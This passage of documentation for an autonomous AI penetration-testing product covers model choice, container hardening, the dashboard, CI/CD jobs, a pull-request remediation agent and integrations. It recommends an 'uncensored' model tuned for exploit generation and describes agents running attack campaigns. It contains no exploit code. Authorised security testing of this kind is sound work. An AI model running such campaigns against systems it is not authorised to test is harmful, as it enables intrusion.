Models fine-tuned for offensive security write deeper exploit code and reason about CVEs more directly. They are best used in addition to a strong agentic driver — on their own the smaller ones still won't sustain a full autonomous campaign.

Model Focus HuggingFace / source
WhiteRabbitNeo (Deep Hat) Uncensored red/blue-team, exploit generation, CVE reasoning WhiteRabbitNeo/* · deephat.ai
Warning:
Not supported for autonomous campaigns: any small model (7B / 13B coders, generic llama3, Phi, Gemma 9B, the older WhiteRabbitNeo-13B, etc.). Fine for quick experiments, but they will not finish a real campaign — the scan stays in Unknown.

Recommended hardware (local inference)

The Opus-class models above are 355B–1T-parameter MoE. Figures assume the listed quantization and a single concurrent campaign; more VRAM / additional GPUs shorten run time and raise precision.

Target VRAM System RAM Example hardware
Opus-class MoE — full precision (DeepSeek-V3.2, Kimi K2, GLM-4.6, Qwen3-Coder-480B) multi-GPU, ≥ 8× 80 GB (up to 16–32× H100 for the largest) 512 GB – 1 TB+ H100 / H200 NVLink server
Opus-class MoE — 4-bit GGUF (workstation, MoE offload) 1× 40–48 GB ~205 GB A6000 / RTX 6000 Ada + 256 GB RAM
Opus-class MoE — 2-bit GGUF (slow, workstation) 1× 24 GB 128 GB RTX 4090 + 128 GB RAM (~few tok/s)
Efficient MoE 30B-A3B (Qwen3-Coder-30B-A3B) ~16–24 GB 32–64 GB RTX 4090 / 3090 — fast, single GPU
Dense 32B (Qwen2.5-Coder-32B, Q4) ~22–24 GB 32–64 GB RTX 4090 / 3090, A5000

VRAM / RAM figures for GLM-4.6 quantization are from Unsloth & apxml; MoE “active parameters” explain why a 30B-A3B model runs far lighter than a 32B dense model.

Ideal on-premise workstation (single-GPU)

  • GPU: NVIDIA RTX 4090 24 GB minimum — RTX 6000 Ada / A6000 48 GB to run Opus-class MoE in 4-bit
  • CPU: 16+ cores (Ryzen 9 / Threadripper / Core i9)
  • RAM: 128 GB (256 GB for 4-bit Opus-class MoE offload)
  • Disk: NVMe SSD, 200 GB+ free (Docker images + quantized weights — a 4-bit 355B model is ~135–200 GB)
  • OS: Linux x86_64 (native preferred; WSL2 supported)
Information:
No server-grade GPU? Use the cloud path with claude-opus-4-7 — zero local hardware, best results. Local Opus-class models are for fully air-gapped / on-premise constraints; for a single 24 GB GPU, Qwen3-Coder-30B-A3B is the most practical starting point.

VIII.4Lab Networking & Container Targets

Changing the dashboard UI port (reverse proxy)

The dashboard is published on host port 80 by default, mapped by docker-compose.yml as ${DARKMOON_UI_PORT:-80}:80. It is not hard-wired: the installer auto-selects the next free port if 80 is already taken, and you can pin it explicitly — useful behind a reverse proxy (Caddy, Nginx, Traefik):

Terminal
# at install time
DARKMOON_UI_PORT=8080 sudo ./install.sh YOUR-KEY ...

# on an existing install: set it in .env, then restart
echo 'DARKMOON_UI_PORT=8080' >> .env
./darkmoon.sh restart

Targeting a local Docker lab (same host)

When your pentest target (e.g. Juice Shop, DVGA) is a Docker container running on the same machine, use docker inspect to get its IP:

Terminal
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' monlab

Example result: 172.19.0.3

TARGET: http://172.19.0.3:3000

This works because both containers share the same Docker bridge network.

Targeting an on-premise Ollama instance (local LLM)

Warning:
Known issue: docker inspect does NOT work for Ollama on WSL
The opencode container in the Pro docker-compose.yml is not configured with network_mode: "host". It runs in bridge network mode.
Therefore, using docker inspect to get the container IP will not be reachable from within the opencode container for Ollama.

The correct approach when using Ollama on-premise (e.g. on WSL or the host machine) is to use the host machine IP address, not the container IP.

On WSL — find the host IP
Terminal
# From inside WSL, get the Windows host IP
cat /etc/resolv.conf | grep nameserver | awk '{print $2}'
# or
hostname -I | awk '{print $1}'

Use this IP as the Ollama base URL:

Terminal
sudo ./install.sh YOUR-KEY --local --local-engine ollama --local-url http://172.x.x.x:11434/v1 --local-model glm-4.6:32b
On native Linux — find the Docker bridge IP
ip addr show docker0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1

Typical result: 172.17.0.1

Terminal
sudo ./install.sh YOUR-KEY --local --local-engine ollama --local-url http://172.17.0.1:11434/v1 --local-model glm-4.6:32b

Summary

Scenario What to use as URL
Target is a local Docker container (pentest lab) docker inspect IP of the target container
Ollama running on WSL host Windows host IP from /etc/resolv.conf
Ollama running on native Linux host Docker bridge IP (docker0 interface, typically 172.17.0.1)
Ollama running in another container with host network The container IP if network_mode: host, otherwise bridge IP

VIII.5Hardening & Runtime Guard

Docker Compose hardening

The Pro docker-compose.yml applies multiple hardening layers to the opencode container:

Measure Setting Effect
Read-only filesystem read_only: true No writes to container FS (except explicit tmpfs)
No new privileges no-new-privileges:true Prevents privilege escalation inside container
All caps dropped cap_drop: ALL Only minimal capabilities explicitly re-added
PID limit pids_limit: 512 Prevents fork bombs
tmpfs for volatile data tmpfs: (many mounts) Sensitive dirs in RAM only, never on disk
Sealed volume darkmoon_opencode_sealed Encrypted persistent state
Log rotation max-size: 10m, max-file: 3 Prevents log flooding
Grace period stop_grace_period: 45s Clean shutdown for ongoing sessions

Runtime Guard (darkmoon-runtime-guard.sh)

At startup, the Runtime Guard is the first process to run inside the container. It acts as a security watchdog before OpenCode is even allowed to start.

What the Guard does
Check Description
Licence validation Verifies the licence key against the server (or cache) before booting
Hardware fingerprint Derives a machine fingerprint (DMI/CPU identifiers) to bind the licence to the hardware
Compose policy integrity Computes SHA-256 of docker-compose-dev.yml and compares against the expected hash baked into the image — refuses to start if tampered
Runtime file hashes Verifies SHA-256 of the guard script itself, the OpenCode wrapper, the real OpenCode binary, and the entrypoint — detects in-place binary replacement
Compromise marker If a compromise is detected, writes a marker file that prevents any future start until the sealed state is explicitly reset
Debugger detection Detects attached tracers (ptrace, strace, etc.) and terminates if found
no-new-privileges check Verifies the container was started with no-new-privileges — refuses to run otherwise
Policy watchdog Background process that continuously re-verifies compose policy integrity every N seconds while running
Self-integrity watchdog Background process that re-checks the guard and binaries every N seconds
AES-GCM sealed state Sensitive bootstrapped data (agents, workflows) is AES-GCM encrypted in the sealed volume using a key derived from licence + machine fingerprint
What the user can and cannot do
Action Allowed? Notes
Run ./darkmoon.sh Yes Normal usage
Add / modify agents via --connect Yes Managed operations
Access logs via docker logs opencode Yes Read-only
docker exec -ti opencode bash Limited For debug only — read-only FS, tmpfs only
Modify docker-compose.yml Blocked Hash mismatch → container refuses to start
Replace OpenCode binary Blocked Runtime hash check detects it → compromise marker set
Attach a debugger (strace, ptrace) Blocked Tracer detection → immediate termination
Bypass licence check Blocked AES-GCM sealed bootstrap key derived from licence + hardware
Start without valid licence Blocked Guard exits 111 before OpenCode loads
Attacks the Guard protects against
Binary substitution
replacing the OpenCode binary with a malicious one
Compose policy tampering
modifying docker-compose.yml to remove security constraints
Licence bypass
attempting to start without a valid key
Debugger attachment
attaching strace/ptrace to extract secrets
Privilege escalation
no-new-privileges + all caps dropped
Container escape via FS writes
read-only filesystem + tmpfs
Fork bomb / resource exhaustion
pids_limit + tmpfs sizing
Log flooding
log rotation enforced
Replay after compromise
compromise marker prevents any restart until explicit reset
Cross-machine licence abuse
key bound to hardware fingerprint

VIII.6Darkmoon UI

The Darkmoon Pro web interface is accessible at:

http://localhost:80

A live demo is available at demo.dark-moon.org.

VIII.6.aLogin & Authentication

Default credentials

On first access, use the default credentials:

Username: admin
Password: admin

After login, you are immediately prompted to change your password. Once changed, you are redirected to the home page.

SSO Compatibility

The authentication layer is powered by Authelia, which implements the OpenID Connect (OIDC) protocol. This makes Darkmoon Pro compatible with any SSO provider that supports OIDC:

  • Keycloak
  • Okta
  • Azure AD / Entra ID
  • Google Workspace
  • Auth0
  • Any OIDC-compliant IdP

Authelia is configured in authelia/config/configuration.yml and exposes an OIDC client (darkmoon-frontend) with openid, profile, and email scopes.

Information:
SSO setup To enable SSO, configure your IdP to redirect to https://localhost/callback (or your production domain) and update authelia/config/configuration.yml with your IdP's OIDC settings.

VIII.6.bCreating a New Campaign

A campaign corresponds to a pentest run against a specific target. Multiple campaigns can be run against the same target over time.

Navigate to New Campaign in the left sidebar.

New Campaign composer: target field with Scope, Attack Strategy, Authentication, Settings and Remediation chips, the Settings panel open (noise level, severity cap, report format, safe harbor, engagement rules) and the Live Output panel below

New Campaign — type the target, open the optional chips to refine the campaign, then press the arrow to launch. The line under the composer summarises the campaign as configured.

Campaign parameters
Chip Description
Target Main target IP, domain or URL, typed in the composer
Scope Additional in-scope assets and exclusions (out-of-scope assets); main target only by default
Attack Strategy Include / exclude specific attack types (SQLi, XSS, SSRF, RCE, etc.); by default the agent decides
Authentication Credentials for authenticated testing; unauthenticated by default
Settings Noise level, severity cap, report format (Standard, HackerOne, Bugcrowd, custom), safe harbor and engagement rules (POC only, no real user data, no DoS, business hours only, …); server defaults otherwise
Remediation Opt-in remediation agent that turns confirmed findings into fix pull requests (see VIII.8)
Scheduling a campaign

Campaigns can be scheduled for future execution using the built-in scheduler.

Campaign Scheduler: target field with Schedule, Details, Attack Strategy, Settings and Remediation chips, the Schedule panel open (date and time, recurrence) and the Scheduled campaigns list, empty

Scheduler — the same composer as New Campaign plus a Schedule chip: pick a date and time and a recurrence (one-time by default), then press the check. Scheduled campaigns are listed below.

VIII.6.cReal-Time Monitoring

Dashboard: statistics tiles (3 projects, 3 targets, 14 campaigns, 371 vulnerabilities), vulnerabilities by severity, the Security posture table with each project's Cyber Score grade, latest assessment and first action, and the start of the Last campaigns table with per-severity counts, risk, date and comparison with the previous scan

Dashboard home — projects, targets, campaigns and findings by severity, plus the Security posture of every project (Cyber Score grade, latest assessment, first action), updated live as the orchestrator dispatches agents.

Once a campaign is launched, you can monitor the pentest in real time from the UI. The same log stream visible in the TUI is available in the dashboard, in the Live Output panel under the New Campaign composer.

Campaign Replay tab on an anonymised real OWASP Juice Shop campaign (29 September 2026): timeline of the orchestrator and its agent with each finding placed in order, and the playhead

Replay — inside a campaign, the Replay tab (in the campaign header, or under More) replays what the agents did, in order; drag the timeline to move through the run. Past runs are listed under History in the sidebar.

For a running campaign, you see the live agent output, tool executions, and intermediate findings as they are discovered.

VIII.6.dProject View & Vulnerability Analytics

The Project view (accessible from the left sidebar or the home page) groups campaigns by target and provides cross-campaign vulnerability analytics.

Dashboard in the light theme: statistics, vulnerabilities by severity, the Security posture table and the start of the Last campaigns table

Home page in the light theme (toggle with the sun icon at the top of the sidebar) — real-time overview of all projects with vulnerability counts and Cyber Score.

Projects list: each project with its Cyber Score grade, risk level and latest assessment

Projects — every project with its Cyber Score grade, risk chip and latest assessment; your projects are also listed in the sidebar.

Project page header of the OWASP Juice Shop project (anonymised real campaigns) with Infrastructure Map and View Report buttons, the Infrastructure / Overview switch and the compact Cyber Score strip (E 0/100, Rated) with the detected or declared technologies
Project Overview tab of the OWASP Juice Shop project (11 anonymised real campaigns): executive Cyber Score block with first actions and actions by status, application profile (not declared yet), maintenance windows, target card and campaigns table with per-severity counts

Project page — an Infrastructure / Overview switch. Overview opens with the executive Cyber Score block (grade, what was tested, first actions, actions by status and a link to the Prioritized Treatment Plan), then the application profile, maintenance windows, the target and the campaigns table with per-severity counts.

Vulnerability evolution graphs

On the project's Infrastructure tab, a sunburst groups the latest campaign's findings by zone and asset, coloured by severity; beside it, Findings per campaign tracks how vulnerabilities evolve across campaigns over time. It appears from the second campaign, and choosing a campaign redraws the sunburst. It shows whether new vulnerabilities are being discovered or remediation is effective.

Project Infrastructure tab of the OWASP Juice Shop project: sunburst of the latest campaign (29 Sep, 31 findings across 37 assets) from the Internet zone out to host, service, application and one segment per finding coloured by severity, assets with no finding in green, and the Findings per campaign chart over 11 campaigns from 26 Apr to 29 Sep

Project Infrastructure tab — findings sunburst of the latest campaign (zone, asset, finding, coloured by severity) with Findings per campaign above it, tracking the counts across campaigns, under the Cyber Score strip.

Campaign detail view

Each campaign opens under a single header: the project and a campaign selector, the Review findings action and the tabs Map, Attack paths, Findings, Overview, Reports and More (Replay). A status line under it gives the exposure, the number of critical paths and the last scan time.

Campaign Overview tab: campaign header with Map, Attack paths, Findings, Overview, Reports and More tabs, status chips, Cyber Score E 0/100 with what holds the grade, the weakness classes that weigh most and the first actions

Campaign Overview — the executive block: Cyber Score grade, what was tested, what holds the grade, the weakness classes that weigh most, and the first actions.

Campaign Findings tab: severity and proof filters, vulnerabilities table with category, CVSS bar, status, treatment action and attack-path links

Findings — filter by severity, proof level (exploited, confirmed, unconfirmed), category or asset; each row links to its treatment action and to the attack path it belongs to. The Treatment plan sub-tab lists the prioritized actions (see Prioritized Treatment Plan).

Vulnerability detail
Finding detail: asset tree rail, title with severity, proof and CVSS, Details, Evidence, Remediation, Classification, History and Attack paths tabs, and the right rail with details and treatment
Finding detail, scrolled: description, evidence with request, response, commands and masked logs, proof on file, remediation, proposed patch and retest

Vulnerability detail — summary, evidence (request, response, commands, logs), remediation and retest; the right rail shows the treatment action and the finding's place in the Prioritized Treatment Plan.

Infrastructure map

For each campaign, the Map tab opens an orbital attack-surface map lays the discovered hosts, services and data stores out on tilted exposure rings, from the internet-facing perimeter down to data and secrets. Every asset carries a per-node vulnerability badge and is clickable to inspect its findings, and a guided tour walks an exposure path from the entry point to the crown-jewel assets (a reading of the inventory, not a demonstrated attack: see Attack paths for Evidence-Backed and Possible Attack Paths). The scene is a web view; over WebXR the same map renders inside a VR headset, straight from the browser.

Orbital infrastructure map: assets on Internet and Edge, Application and Data rings, the assets carrying findings labelled with severity badges and counts, and the attack paths and assets in the left rail
Campaign Map tab, zoned layout: Internet, Edge, Application and Data zones with their 43 assets, edges labelled contains, stack, endpoint, runs and root, and per-asset finding counts
Guided exposure path on the orbital map: step 4 of 5, marked not proven, on the Juice Shop application with 8 findings, with its details (zone, technology, risk, ATT&CK, ISO 27001 and IEC 62443 references) in the left rail

Infrastructure map — orbital view with exposure rings and per-asset badges, zoned view (Internet / Edge / Application / Data) with labelled edges and per-asset finding counts, and the guided exposure path; click any node to inspect its findings.

VIII.6.eReports & PDF Export

At the end of a campaign (or at any point during it), you can view and export the pentest report from the Reports tab.

Report view
Reports tab: Security Assessment Report with the contents rail, Export PDF, Markdown and Frameworks buttons, and section tabs from Cyber Score to Limitations
The same report view in the light theme

Report view — the full pentest report rendered in the UI, from the Cyber Score, executive summary and application profile to the prioritized treatment plan, attack paths, detailed findings and limitations; Markdown gives the same report as Markdown.

PDF export (signed & encrypted)

Click Export PDF to generate a signed and encrypted PDF report.

Information:
PDF generation takes a few seconds. Wait for the download to be ready before clicking again.
PDF report cover page
PDF report, section 1 Executive overview: Cyber Score with its caps and penalties
PDF report, section 7 Prioritized Treatment Plan

PDF report — A4 audit-grade report: cover, executive overview with the Cyber Score, prioritized treatment plan, then attack paths and detailed findings with evidence, severity ratings and remediation.

VIII.7CI/CD Integration

Darkmoon Pro supports automated penetration testing in CI/CD pipelines. The official demo is available at:

github.com/ASCIT31/Dark-Moon-CI-Demo — Run #7

CI/CD pipeline run

GitHub Actions run — Darkmoon headless pentest triggered automatically on every commit/push.

How it works

Darkmoon runs in headless mode inside the CI/CD pipeline. The workflow:

  1. Starts the target application (lab) in a Docker container
  2. Launches Darkmoon with the target IP
  3. Runs the full autonomous pentest
  4. Outputs the report as a CI artifact
  5. Optionally fails the pipeline if critical vulnerabilities are found

GitHub Actions example

YAML
name: darkmoon
on:
  push:
    branches: [main]

jobs:
  run-darkmoon:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Start target lab
        run: docker compose -f lab/docker-compose.yml up -d

      - name: Run Darkmoon headless pentest
        run: |
          TARGET_IP=$(docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' mylab)
          ./darkmoon.sh "TARGET: http://$TARGET_IP:3000"

      - name: Upload pentest report
        uses: actions/upload-artifact@v4
        with:
          name: darkmoon-report
          path: reports/

CI/CD run details (demo)

The demo run #7 completed in 59 minutes 22 seconds and ran the full autonomous pentest in headless mode.

Key facts:

  • Workflow file: darkmoon.yml
  • Job: run-darkmoon / darkmoon-headless
  • Status: succeeded
  • Duration: 59m 22s

VIII.8Remediation Agent (findings → fix pull-requests)

Darkmoon's specialists prove impact; the remediation agent is their defensive counterpart (Pro edition). At the end of a campaign it turns each confirmed finding into a minimal code fix, proves it in an ephemeral sandbox, and opens a pull request for human review — never a merge.

Remediation pull-request detail page with before/after validation

Remediation PR — the fix for a SQL injection: repository, branch, diff stat and confidence, the findings it resolves, before/after validation evidence (exploit before, exploit after, variant payloads, regression tests) and the patch diff.

For each confirmed finding it:

  • locates the root cause in the target's own source (category-specific vulnerable-sink patterns);
  • writes the smallest correct fix through an LLM patch, reviewed by an over-reach judge;
  • reproduces the exploit before the patch and replays it (plus payload variants and the repo's tests) after, inside a self-destructing Docker sandbox bound to 127.0.0.1;
  • opens a pull request carrying that before/after evidence, linked to the findings it resolves.
Information:
The report is untouched. Pull requests are produced alongside the server-rendered report; the remediation agent never finalizes the campaign.
Enabling it
Dashboard
in New Campaign or Scheduler, tick Remediation, pick a saved push credential and give the source repo (or ask for a fresh one). The vulnerabilities table gains a PR column linking each finding to a pull-request detail page.
CLI / TUI
add REMEDIATE=1 REPO=… CREDENTIAL_REF=… to the prompt, or run python -m src.remediation --campaign-id <id> --repo <url> --credential-ref <cred_id>.
CI/CD
an opt-in stage runs it after the pentest, taking the push token from a CI secret.
Campaign view with the PR column in the vulnerabilities table

Campaign view — the vulnerabilities table gains a PR column; the fixed SQL-injection finding links to its pull request (#42), the others show none yet.

Dispositions (never a fabricated fix)
patched
gates passed, judge approved, confidence above threshold → PR opened.
proposed
no push target, or a dry-run → branch and commit prepared locally.
draft
a fix was produced but not fully validated (no buildable sandbox) → draft PR at lower confidence, evidence attached.
failed / skipped
no usable patch, or no code location mapped.
Credentials

To open a pull request the agent needs a Git push credential (a forge token or an SSH key). You save it once from the dashboard — the key icon in the sidebar user block opens the Credentials modal — and reuse it across campaigns. Each credential is owned by you (scoped to your account) and can be created, updated or deleted from that modal.

Credentials modal opened over the dashboard: Add credential button and the saved-credentials list, empty here

Credentials modal — opened from the key icon in the sidebar user block; Add credential saves a push credential once for every campaign. Secrets are encrypted at rest and shown only as a masked hint, never in clear.

Supported providers, grouped by capability:

Git / pull requests
github, gitlab (merge requests), gitea, gogs, bitbucket, azure_devops, generic_git, and ssh (SSH key for any Git remote).
Cloud
aws, azure, gcp (for cloud-aware engagements).
SIEM / observability
splunk, elastic, microsoft_sentinel, ibm_qradar, wazuh, google_chronicle, sumo_logic, graylog, datadog, arcsight.

How the secret is protected

Encrypted at rest
sealed with Fernet (a persistent key from DARKMOON_SECRET_KEY or a 0600 key file); the JSON store never holds a cleartext token.
Never returned
the credentials API is JWT-gated on every route and returns a secret only as { set, hint } (the last 4 characters, masked), never its value.
Opaque reference
the campaign launch line carries an opaque id such as cred_ab12cd, never the token. The pipeline resolves the real secret locally at push time; it is never exposed to the model or over the API.

So a remediation launch references the credential, never the secret itself:

Terminal
# the token is saved once in the UI; the run only carries its opaque id
./darkmoon.sh "TARGET: … REMEDIATE=1 REPO=https://github.com/acme/app CREDENTIAL_REF=cred_ab12cd"
Information:
Requirement. Full before/after sandbox proof needs a buildable Dockerfile and, ideally, a small .darkmoon/repro.json describing how to build the target and how to tell "exploited" from "safe". Without them the agent still proposes a fix but opens a draft PR and says so.

VIII.9Remediation demonstration — OWASP Juice Shop

To show the remediation engine end to end on a well-known target, we ran it against a standalone fork of the OWASP Juice Shop and published the resulting fixes as pull requests for human review.

Information:
This is an internal demonstration of DarkMoon's remediation engine, not a set of external contributions to the upstream OWASP Juice Shop project. Every pull request is left open for human review — consistent with the rule that DarkMoon never merges automatically.

VIII.10n8n community node (n8n-nodes-darkmoon)

The n8n community node lets an n8n workflow trigger a DarkMoon pentest against a target you are authorised to assess, pull back the findings, and review the fix pull requests DarkMoon prepares — so testing and remediation review can be wired into CI/CD, ticketing, chat and reporting automations like any other step.

Install

In a self-hosted n8n: Settings → Community Nodes → Install, then enter n8n-nodes-darkmoon (see the n8n community nodes guide). Create a DarkMoon API credential (Base URL, dashboard username and password); the node logs in at run time to the Dashboard API to obtain a short-lived JWT.

Operations

  • Run Pentest (with optional Enable Remediation) — start a pentest and, with Wait for Completion on, return the campaign, findings and severity stats.
  • Get Findings — vulnerabilities for a campaign, with aggregated stats.
  • Get Report — the markdown report for a campaign.
  • List Campaigns — past and running campaigns.
  • List Pull Requests — the fix PRs DarkMoon prepared (states: proposed, draft, open, merged, closed, error).
  • Get Pull Request — one PR record (diff summary, validation, linked findings).
  • Get Pull Requests by Finding — the PRs that address a specific finding.

Remediation from the node

Enable Remediation on Run Pentest (default off) turns on the fix loop, which runs during the pentest. It takes a Credential Reference — the opaque id of an SCM credential stored in DarkMoon's vault, not a token — plus an optional repository.

confirmed finding → generate fix → validate in sandbox → retest → open pull request → human review → manual merge
Information:
Pull requests are read-only through the API and the node. PR records are created by the remediation agent during the run; there is no endpoint to open, update or merge a PR, and the node deliberately provides none. Merging is always a manual human step in your SCM.

Example workflow

The repo ships "DarkMoon Pentest and Remediation Review": it triggers a pentest on an authorised demo-lab target, enables remediation with a credential reference, waits for completion, lists the reviewable pull requests (proposed / draft / open), and summarises everything into a message ready for a Slack / Microsoft Teams / Jira / Linear / GitHub / email node. It merges nothing.

Security notes: no SCM tokens in workflow parameters (only the opaque vault reference); no secrets in logs; no automatic merges; authorised targets only.

Integrations · 16/22

Integrations

Darkmoon plugs into the tools you already build and ship with. Every integration is a thin client over the same engine, so what it can do depends on which backend it can reach:

  • OSS
  • Pro
  • 10 sections
  • 6 min read
Darkmoon integrations: GitHub, GitLab, Jenkins, VS Code, JetBrains, n8n, Grafana, Splunk
  • OSS — the Community path: the integration drives the local darkmoon.sh / darkmoon-ci CLI over a bind-mounted data/reports directory (no network, no dashboard). Browse, launch and CI-gate on local JSON.
  • Pro — the integration talks to the Pro REST API at {baseUrl}/api/v1 with a bearer token, adding live/SSE streaming, the hosted dashboard, the scheduler, webhooks and remediation→PR review.

Most integrations auto-detect (mode: auto | oss | pro) and degrade to the local CLI when no Pro backend is reachable. Two are Pro-only REST consumers (n8n and Grafana) — they have no local path in their code.

Information:
Privacy is uniform across every integration. Only safe metadata leaves the engine (severity, status, ids, MITRE technique, timestamps). Evidence, secrets, tokens and request/response bodies are never emitted (client-side redaction, Splunk safe-field allowlist, Grafana “evidence never exposed”).
Important:
Honesty note. A finding’s status (EXPLOITED / CONFIRMED / UNCONFIRMED) is agent-asserted, not machine-verified. The only flow that re-verifies exploitation is the Pro remediation retest (it proves the fix, not the original exploit). Integrations surface no CWE and no per-finding confidence score — confidence exists only on a remediation pull request’s validation.

Programmatic surface — REST API & capability discovery Pro

Integrations that go beyond the local CLI consume the Pro REST API: 15 routers mounted under /api/v1/ (projects, targets, campaigns, vulnerabilities, dashboard, run, scheduler, auth, credentials, pull-requests, system, webhooks, events, retest, metrics). The Community edition ships only the local JSON write path — there is no /api/v1 server in OSS.

Capability discovery

  • GET /system/info — a self-describing contract (version, enabled features, integration surface) so a client can adapt without guessing. It returns no secrets.
  • GET /system/update-status — compares the running image build stamp (DARKMOON_IMAGE_BUILT_AT) against Docker Hub and reports whether a newer image is available (this drives the dashboard “update available” badge).

Phase-2 integration endpoints Pro

Webhooks
HMAC-signed, replay-protected event delivery for Splunk / Grafana / n8n pipelines.
Events / SSE
server-sent live streaming of campaign progress and findings.
Retest
re-runs against a prior campaign and computes verdicts (fixed / still_present / new).
Metrics / timeseries
aggregated posture numbers for dashboards.
Write-auth toggle
DARKMOON_REQUIRE_AUTH_WRITES makes every write JWT-gated, with a target allowlist and safe-field-only envelopes.

GitHub Action — “Darkmoon Pentest”

OSS Pro Marketplace: live
Overview
runs an autonomous Darkmoon pentest as a step in any GitHub Actions workflow and uploads the report as a build artifact.
Compatibility
OSS bind-mounts a data/reports dir and polls the local CLI; Pro talks to /api/v1 with SSE streaming.
Install & use
uses: ASCIT31/darkmoon-action@v0.1.0 in your workflow.
Connect
OSS: point the action at the mounted data/reports directory; Pro: set the base URL of your Pro instance.
Auth
OSS: none (local files); Pro: dashboard login → short-lived JWT (store credentials as repository secrets).
Security note
safe metadata only; no evidence or secrets in logs or artifacts.

GitLab CI/CD Component — scan

OSS Pro Catalog: live
Overview
a GitLab CI/CD Catalog component that runs a Darkmoon scan and emits GitLab Code-Quality + SAST reports.
Compatibility
OSS via --oss-data-dir / --oss-script against the local engine; Pro via --pro-url + DARKMOON_PRO_TOKEN.
Install & use
include: [{ component: $CI_SERVER_FQDN/<ns>/darkmoon/scan@1.0.0 }].
Connect
OSS: mount the data/reports dir on the runner; Pro: set --pro-url to your instance.
Auth
OSS: none; Pro: DARKMOON_PRO_TOKEN as a masked CI/CD variable.
Security note
runners need node + python3; reports carry safe fields only.

Jenkins plugin — “Darkmoon Security Scan” (darkmoonScan)

OSS Pro Update Center: pending
Overview
a pipeline step (darkmoonScan) that runs Darkmoon and publishes SARIF 2.1.0 through Warnings-NG.
Compatibility
OSS via ossDataDir / ossReportsDir + license env; Pro via apiUrl + token env.
Install
the Jenkins Update Center listing is pending (no jenkinsci plugin yet). Side-load the .hpi from the GitHub Releases page (current build is 0.1.0-SNAPSHOT).
Connect
OSS: set ossDataDir/ossReportsDir; Pro: set apiUrl.
Auth
OSS: license env; Pro: API token via Jenkins credentials (env), never inline.
Security note
SARIF carries safe fields only; keep tokens in the Jenkins credential store.

VS Code extension — “Darkmoon”

OSS Pro Marketplace: live
Overview
browse campaigns, launch pentests and follow status without leaving the editor.
Compatibility
OSS uses a local dataDir + cliPath to browse/launch; Pro uses baseUrl + JWT for live status, dashboard and remediation.
Install
search Darkmoon in the Extensions view, or install id Darkmoon.darkmoon-vscode (store version 0.1.2).
Connect
OSS: set darkmoon.dataDir + darkmoon.cliPath; Pro: set darkmoon.baseUrl.
Auth
OSS: none; Pro: sign in for a JWT.
Security note
only safe metadata is shown in the editor.

JetBrains plugin — “Darkmoon”

OSS Pro Marketplace: live
Overview
the same browse/launch/monitor experience for IntelliJ-family IDEs.
Compatibility
OSS via a Node bridge to @darkmoon_ai/client / the CLI; Pro adds streaming, dashboard and remediation→PR (UI-gated).
Install
search Darkmoon in Marketplace, or install plugin id fr.ascit.darkmoon (v0.1.0); a .zip is also on GitHub Releases.
Connect
OSS: point the bridge at the local CLI; Pro: set the instance base URL.
Auth
Pro: the JWT is stored in the IDE PasswordSafe, never in plaintext settings.
Security note
remediation PR review is UI-gated and never auto-merges.

n8n community node — n8n-nodes-darkmoon

Pro-only npm: live · verified-node: pending
Overview
wire Darkmoon into automations: trigger a pentest, pull findings, and review the fix PRs it prepared. See the full walkthrough in §VIII.10.
Compatibility
Pro-only: the node consumes the REST /api/v1 surface; there is no OSS/local path in its code.
Install
self-hosted n8n: Settings → Community Nodes → Install, then enter n8n-nodes-darkmoon (npm v0.3.0). The n8n verified-community listing is pending.
Connect
create a DarkMoon API credential (Base URL + dashboard username/password).
Auth
the node logs in at run time to obtain a short-lived JWT.
Usage
Campaign / Finding / Retest / Metric / Webhook operations + a Trigger node (poll/webhook); remediation carries an opaque credential reference, never a token.
Security note
PRs are read-only through the API/node; merging is always a manual human step in your SCM.

Grafana app — “Darkmoon Security Posture”

Pro-only grafana.com catalog: pending
Overview
dashboards for posture/overview, campaigns, vulnerabilities, timeseries and PRs.
Compatibility
Pro-only: the shipped Go datasource (gpx_darkmoon) reads the Pro /api/v1 surface.
Install
the grafana.com catalog listing (darkmoon-securityposture-app) is pending. Install the app plugin v1.0.0 from GitHub Releases (self-host / unsigned), or import the dashboard JSON with the live yesoreyeram-infinity-datasource pointed at the REST API.
Connect
configure the datasource with your Pro base URL.
Auth
bearer token in the datasource config.
Security note
evidence is never exposed; panels render safe metadata only.

Splunk app — “Darkmoon Pentest”

OSS Pro Splunkbase: pending
Overview
ingest Darkmoon findings into Splunk and, in Pro, trigger runs back from Splunk.
Compatibility
OSS: --export FILE writes local JSON (safe fields only) for HEC ingestion; Pro: REST pull + a “Send to Darkmoon” alert action (/run/campaign, /retest).
Install
the Splunkbase listing (app 9875) is pending approval. Side-load darkmoon-1.0.0.tar.gz from GitHub Releases (AppInspect precert clean).
Connect
OSS: forward the exported JSON to HEC; Pro: configure the REST endpoint + token.
Auth
OSS: HEC token; Pro: REST bearer token. The “Send to Darkmoon” trigger is Pro-only.
Security note
a safe-field allowlist plus index-time redaction keep evidence and secrets out of Splunk.

Foundation SDK / CLI — @darkmoon_ai/client

OSS Pro npm: live
Overview
the shared TypeScript client every other integration is built on, plus a darkmoon-ci binary for scripting.
Compatibility
one contract, two backends: OSS oss-local (local JSON + spawns darkmoon.sh) and Pro pro-http (full /api/v1 surface + SSE).
Install
npm install @darkmoon_ai/client (v0.2.0); the CLI is exposed as darkmoon-ci.
Connect
select the backend via mode: auto | oss | pro; auto degrades to oss-local when no Pro instance is reachable.
Auth
OSS: none; Pro: bearer token / login for a JWT.
Security note
client-side redaction ensures only safe metadata crosses the wire.
Warning:
Listing status at a glance. Live now: VS Code Marketplace, JetBrains Marketplace, GitLab CI/CD Catalog, GitHub Marketplace Action, npm (@darkmoon_ai/client, n8n-nodes-darkmoon). Install-from-Releases meanwhile: Splunkbase (pending approval), Grafana catalog (pending), Jenkins Update Center (no jenkinsci plugin yet).

Deployment · 17/22

Deployment / DarkMoon Appliance

The commercial site answers why DarkMoon exists.

  • 11 sections
  • 14 min read

The commercial site answers why DarkMoon exists. This section answers how to run it, end to end: what a DarkMoon Appliance is, how the node is put together, the ordered path from “which machine?” to “it is running”, how to size the host, which network flows it needs, how the AI backend is wired, and how to keep it healthy with darkmoon doctor, darkmoon update and darkmoon repair. Everything here targets the same single-node stack described in §II. Installation and §VIII. Pro Edition. If you are setting up a node for the first time, start at Getting Started and follow the eight steps in order.

Appliance Overview

